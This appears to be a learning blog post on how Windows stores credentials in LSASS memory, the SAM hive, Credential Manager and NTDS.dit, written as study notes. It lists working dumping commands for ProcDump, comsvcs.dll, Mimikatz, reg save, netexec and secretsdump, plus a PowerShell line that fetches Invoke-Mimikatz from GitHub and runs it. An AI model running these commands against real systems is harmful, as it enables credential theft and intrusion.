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Recently, I had a chance to do a quick interview for a position I was interested in.

One of the questions was, "How do you get credentials from Windows?"

My answer was simple: "I would use Mimikatz." The follow-up question was, "So, where does the data come from?"

I simply replied, "From memory." The interviewer gave me a brief explanation and moved on to the next topic. However, I felt a little embarrassed by the fact that I didn’t know the details!

So, I decided to take a deep dive into Windows Authentication systems.

Ironically, Windows Authentication Systems are well described on Microsoft's website.

Here's a mermaid diagram and a markdown table summarizing how Windows stores credentials based on the content and references provided:

Mermaid Diagram

graph TD
  A[Windows Credentials] --> B[Local Authentication]
  A --> C[Domain Authentication]
  
  B --> D[SAM Database]
  D --> E[NTLM Hashes]
  D --> F[Password Encryption RC4/AES]

  C --> G[Active Directory]
  G --> H[Kerberos Tickets]
  G --> I[Access Tokens]
  
  E --> J[Reuse NTLM Hashes]
  F --> K[Obtain SYSTEM File]
  H --> L[TGT]
  I --> M[Impersonation Tokens]

  K --> N[Decrypt SAM]
  L --> O[Authentication through Domain Controller]

Markdown Table

1.0 Local Security Authority Subsystem Service

LSASS is a process rather than a file. As we can see from Task Manager, it runs as SYSTEM. After authentication, LSASS secures credentials in memory for the current session. In domain environment, LSASS manages Kerberos tickets (TGT and session), which are stored in memory.

According to Microsoft's website:

The LSA security subsystem provides services to both the kernel mode and user mode for validating access to objects, checking user privileges, and generating audit messages.

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc961760(v=technet.10)?redirectedfrom=MSDN

I noticed LSA and LSASS from the above website, but I simply had no clue what they were. A quick description of LSA and LSASS was found on StackExchange:

There is "LSA" the concept, and "lsass.exe," a process that implements many of the functions of LSA.

https://superuser.com/questions/1370871/what-is-the-relation-between-lsa-and-lsass-in-windows

Authentication-Related Files

1.1 LSASS Memory Dump

According to MITRE, credentials in the LSASS process memory can be dumped in many ways.

1.1.1 ProcDump

procdump -ma lsass.exe lsass_dump

1.1.2 Mimikatz

sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords

1.1.3 Built-in Windows Tools - comsvcs.dll

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full

1.1.4 Task Manager

1.1.5 Process Explorer

1.2 Security Account Manager

The Security Account Manager (SAM) is a database file that stores users' passwords. Typically, SAM is used for local accounts, and enumerating it requires SYSTEM-level access.

According to MITRE, SAM is typically used for local accounts.

Normally the SAM databases are stored in following.

%systemroot%\system32\config\sam   #main
%systemroot%\repair\sam._          #backup

1.2.1 netexec

netexec smb <IP> -u <User> -p <Password> --sam --local-auth

1.2.2 Secretsdump

secretsdump.py -sam SAM -system SYSTEM LOCAL
or
impacket-secretsdump

1.2.3 Windows

reg save HKLM\SAM c:\Exfiltration\SAM
reg save HKLM\SYSTEM c:\Exfiltration\SYSTEM

1.2.4 Mimikatz

# Load into memory
IEX (IWR -UseBasicParsing "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1")

# Dump from SAM and SYSTEM. Ensure files are in the current working directory
Invoke-Mimikatz -command "lsadump::sam /system:SYSTEM /sam:SAM"

# Dump against the live hive files
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

1.3 Windows Credentials Manager

The Windows Credentials Manager lets users store credentials for systems and websites in the secure Windows Vault.

Credential management by using Credential Manager is controlled by the user on the local computer. Users can save and store credentials from supported browsers and Windows applications to make it convenient when they need to sign in to these resources.

When a website, an application, or another computer requests authentication through NTLM or the Kerberos protocol, a dialog box appears in which you select the Update Default Credentials or Save Password check box. This dialog box that lets a user save credentials locally is generated by an application that supports the Credential Manager APIs.

I can access Credential Manager via the following commands.

>control.exe keymgr.dll

Credential management by using Credential Manager is controlled by the user on the local computer.

C:\Users\[Username]\AppData\Local\Microsoft\Credentials\
C:\Users\[Username]\AppData\Roaming\Microsoft\Credentials

1.4 NT Directory Services (NTDS )- Active Directory Domain Database.

According to the XMCO,

The NTDS file is the Microsoft Active Directory database (initially called NTDS for NT Directory Services). The Active Directory is the Windows directory service that manages the identification and security information for objects in an Active Directory. The NTDS file is stored on each domain controller and is created when a Windows server is promoted to a domain controller. Its default location is: %SystemRoot%\ntds\NTDS.DIT.

Microsoft webpage indicates the structure of the database.

According to HackTricks,

The NTDS.dit file is known as the heart of Active Directory, holding crucial data about user objects, groups, and their memberships. It's where the password hashes for domain users are stored. This file is an Extensible Storage Engine (ESE) database and resides at %SystemRoom%/NTDS/ntds.dit.

Normally the file is constantly used by system, hence it cannot be simply copied.

1.4.1 How NTDS can be decrypted?

Domain users' password hashes are encryped with BOOTKEY of the SYSTEM file of the domain controller. Hence, attacker will need both NTDS.dit file and SYSTEM to get password hashes.
The following is the location for both NDTS.dit file and SYSTEM.

%SystemRoom%/NTDS/ntds.dit
C:\Windows\System32\config\SYSTEM

The hash is cyphered 3 times:

Decrypt Password Encryption Key (PEK) using the BOOTKEY and RC4.
Decrypt tha hash using PEK and RC4.
Decrypt the hash using DES.